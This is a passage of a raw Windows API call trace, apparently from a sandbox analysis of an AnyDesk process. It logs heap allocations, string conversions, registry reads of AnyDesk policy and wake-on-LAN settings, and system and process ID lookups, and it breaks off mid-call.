[0283.822] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969870 | out: hHeap=0x1930000) returned 1 [0283.822] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.822] GetLastError () returned 0x0 [0283.822] GetSystemTime (in: lpSystemTime=0x294b2ec | out: lpSystemTime=0x294b2ec*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0xe0)) [0283.822] GetCurrentThreadId () returned 0x5d8 [0283.822] GetCurrentProcessId () returned 0x51c [0283.822] GetLastError () returned 0x0 [0283.822] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.hidden", lpReserved=0x0, lpType=0x294b248, lpData=0x0, lpcbData=0x294b24c*=0x0 | out: lpType=0x294b248*=0x0, lpData=0x0, lpcbData=0x294b24c*=0x0) returned 0x6 [0283.822] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b274 | out: phkResult=0x294b274*=0x0) returned 0x2 [0283.823] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962020 | out: hHeap=0x1930000) returned 1 [0283.823] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698c0 [0283.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.823] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19698d0 [0283.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x19698d0, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.823] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698d0 | out: hHeap=0x1930000) returned 1 [0283.823] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2f) returned 0x19742b0 [0283.823] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x22) returned 0x1962020 [0283.823] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.823] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698d0 [0283.824] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aad90 [0283.824] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1962050 [0283.824] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698d0 | out: hHeap=0x1930000) returned 1 [0283.824] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698c0 | out: hHeap=0x1930000) returned 1 [0283.824] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x22) returned 0x1962080 [0283.824] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.hidden", lpReserved=0x0, lpType=0x294b248, lpData=0x0, lpcbData=0x294b24c*=0x0 | out: lpType=0x294b248*=0x0, lpData=0x0, lpcbData=0x294b24c*=0x0) returned 0x6 [0283.824] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b274 | out: phkResult=0x294b274*=0x0) returned 0x2 [0283.824] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962080 | out: hHeap=0x1930000) returned 1 [0283.824] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.824] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab150 [0283.825] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698b0 | out: hHeap=0x1930000) returned 1 [0283.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0283.825] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x19ab168 [0283.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cb4, cbMultiByte=-1, lpWideCharStr=0x19ab168, cchWideChar=5 | out: lpWideCharStr="true") returned 5 [0283.825] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab168 | out: hHeap=0x1930000) returned 1 [0283.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cbc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0283.825] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab168 [0283.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cbc, cbMultiByte=-1, lpWideCharStr=0x19ab168, cchWideChar=6 | out: lpWideCharStr="false") returned 6 [0283.825] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab168 | out: hHeap=0x1930000) returned 1 [0283.825] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab150 | out: hHeap=0x1930000) returned 1 [0283.825] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698b0 [0283.825] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969890 [0283.825] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698c0 [0283.825] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698d0 [0283.825] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698e0 [0283.825] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698f0 [0283.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.825] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969900, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.825] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0283.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969910, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.826] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.826] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969900 [0283.826] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.826] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.826] GetComputerNameW (in: lpBuffer=0x294b2e4, nSize=0x294b2e0 | out: lpBuffer="Q9IATRKPRH", nSize=0x294b2e0) returned 1 [0283.826] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x16) returned 0x19aadb0 [0283.827] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698e0 | out: hHeap=0x1930000) returned 1 [0283.827] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698b0 | out: hHeap=0x1930000) returned 1 [0283.827] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19698b0 [0283.827] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1) returned 0x19698e0 [0283.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.827] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969900, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.827] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0283.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969910, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.827] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.827] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.827] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.827] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969850 | out: hHeap=0x1930000) returned 1 [0283.827] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969850 [0283.827] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.827] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.828] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969890 [0283.828] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698f0 | out: hHeap=0x1930000) returned 1 [0283.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.828] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x19698f0 [0283.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x19698f0, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27bb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0283.828] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab150 [0283.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27bb4, cbMultiByte=-1, lpWideCharStr=0x19ab150, cchWideChar=8 | out: lpWideCharStr="Windows") returned 8 [0283.828] GetLastError () returned 0x0 [0283.828] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.defaultbehavior", lpReserved=0x0, lpType=0x294b230, lpData=0x0, lpcbData=0x294b234*=0x0 | out: lpType=0x294b230*=0x0, lpData=0x0, lpcbData=0x294b234*=0x0) returned 0x6 [0283.828] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b25c | out: phkResult=0x294b25c*=0x0) returned 0x2 [0283.828] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963520 | out: hHeap=0x1930000) returned 1 [0283.829] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698d0 [0283.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.829] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19698f0 [0283.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x19698f0, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.829] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698f0 | out: hHeap=0x1930000) returned 1 [0283.829] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x43) returned 0x198c3c8 [0283.829] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1963520 [0283.830] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c3c8 | out: hHeap=0x1930000) returned 1 [0283.830] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698f0 [0283.830] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aadf0 [0283.830] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3c) returned 0x1970f60 [0283.830] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698f0 | out: hHeap=0x1930000) returned 1 [0283.830] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698d0 | out: hHeap=0x1930000) returned 1 [0283.830] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1963560 [0283.830] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.defaultbehavior", lpReserved=0x0, lpType=0x294b230, lpData=0x0, lpcbData=0x294b234*=0x0 | out: lpType=0x294b230*=0x0, lpData=0x0, lpcbData=0x294b234*=0x0) returned 0x6 [0283.830] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b25c | out: phkResult=0x294b25c*=0x0) returned 0x2 [0283.831] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963560 | out: hHeap=0x1930000) returned 1 [0283.831] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.831] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969890 [0283.831] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698c0 | out: hHeap=0x1930000) returned 1 [0283.831] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.831] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969890 [0283.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969890, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.831] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698c0 [0283.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x19698c0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.831] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698d0 [0283.831] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698d0 | out: hHeap=0x1930000) returned 1 [0283.831] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1963560 [0283.831] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.defaultbehavior", lpReserved=0x0, lpType=0x294b230, lpData=0x0, lpcbData=0x294b234*=0x0 | out: lpType=0x294b230*=0x0, lpData=0x0, lpcbData=0x294b234*=0x0) returned 0x6 [0283.832] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b25c | out: phkResult=0x294b25c*=0x0) returned 0x2 [0283.832] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963560 | out: hHeap=0x1930000) returned 1 [0283.832] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698d0 [0283.833] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698d0 | out: hHeap=0x1930000) returned 1 [0283.833] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1963560 [0283.833] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.defaultbehavior", lpReserved=0x0, lpType=0x294b230, lpData=0x0, lpcbData=0x294b234*=0x0 | out: lpType=0x294b230*=0x0, lpData=0x0, lpcbData=0x294b234*=0x0) returned 0x6 [0283.833] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b25c | out: phkResult=0x294b25c*=0x0) returned 0x2 [0283.833] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963560 | out: hHeap=0x1930000) returned 1 [0283.833] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.833] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969890 [0283.833] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698c0 | out: hHeap=0x1930000) returned 1 [0283.833] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.834] GetLastError () returned 0x0 [0283.834] GetSystemTime (in: lpSystemTime=0x294b334 | out: lpSystemTime=0x294b334*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0xf0)) [0283.834] GetCurrentThreadId () returned 0x5d8 [0283.834] GetCurrentProcessId () returned 0x51c [0283.834] GetLastError () returned 0x0 [0283.834] GetProcessId (Process=0xffffffff) returned 0x51c [0283.834] ProcessIdToSessionId (in: dwProcessId=0x51c, pSessionId=0x294b450 | out: pSessionId=0x294b450) returned 1 [0283.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd5990, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.834] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969890 [0283.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd5990, cbMultiByte=-1, lpWideCharStr=0x1969890, cchWideChar=2 | out: lpWideCharStr="-") returned 2 [0283.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd5990, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.834] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19698c0 [0283.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd5990, cbMultiByte=-1, lpWideCharStr=0x19698c0, cchWideChar=2 | out: lpWideCharStr="-") returned 2 [0283.835] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19698d0 [0283.835] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19698f0 [0283.835] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698c0 | out: hHeap=0x1930000) returned 1 [0283.835] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.835] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe6128, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0283.835] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x19735b0 [0283.835] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe6128, cbMultiByte=-1, lpWideCharStr=0x19735b0, cchWideChar=16 | out: lpWideCharStr="ad.features.wol") returned 16 [0283.835] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973600 [0283.835] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973510 [0283.835] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aae10 [0283.835] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973628 [0283.836] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973510 | out: hHeap=0x1930000) returned 1 [0283.836] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19735b0 | out: hHeap=0x1930000) returned 1 [0283.836] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe6138, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0283.836] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x19aae30 [0283.836] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe6138, cbMultiByte=-1, lpWideCharStr=0x19aae30, cchWideChar=12 | out: lpWideCharStr="ad.wol.mode") returned 12 [0283.836] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x19aae50 [0283.836] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x19aae70 [0283.836] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aae90 [0283.837] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x19aaeb0 [0283.837] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aae70 | out: hHeap=0x1930000) returned 1 [0283.837] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aae30 | out: hHeap=0x1930000) returned 1 [0283.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09428, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0283.837] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1962080 [0283.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09428, cbMultiByte=-1, lpWideCharStr=0x1962080, cchWideChar=18 | out: lpWideCharStr="ad.wol.group_sync") returned 18 [0283.837] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x19620b0 [0283.837] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969890 [0283.837] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x19620e0 [0283.837] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aae30 [0283.837] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1962110 [0283.838] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19620e0 | out: hHeap=0x1930000) returned 1 [0283.838] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962080 | out: hHeap=0x1930000) returned 1 [0283.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc164d8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0283.838] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x19735b0 [0283.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc164d8, cbMultiByte=-1, lpWideCharStr=0x19735b0, cchWideChar=16 | out: lpWideCharStr="ad.wol.mac_hash") returned 16 [0283.838] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973510 [0283.838] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698c0 [0283.838] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973650 [0283.838] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aae70 [0283.838] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973678 [0283.839] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973650 | out: hHeap=0x1930000) returned 1 [0283.839] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19735b0 | out: hHeap=0x1930000) returned 1 [0283.839] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1) returned 0x19697f0 [0283.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.839] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969900, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.839] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0283.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969910, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.839] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.839] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969930 [0283.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969930, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.840] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969930 | out: hHeap=0x1930000) returned 1 [0283.840] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x27) returned 0x1962080 [0283.840] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x19735b0 [0283.840] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962080 | out: hHeap=0x1930000) returned 1 [0283.840] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969930 [0283.840] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aaed0 [0283.840] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973650 [0283.840] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969930 | out: hHeap=0x1930000) returned 1 [0283.840] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.840] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x19736a0 [0283.840] RegQueryValueExW (in: hKey=0x0, lpValueName="features.wol", lpReserved=0x0, lpType=0x294b240, lpData=0x0, 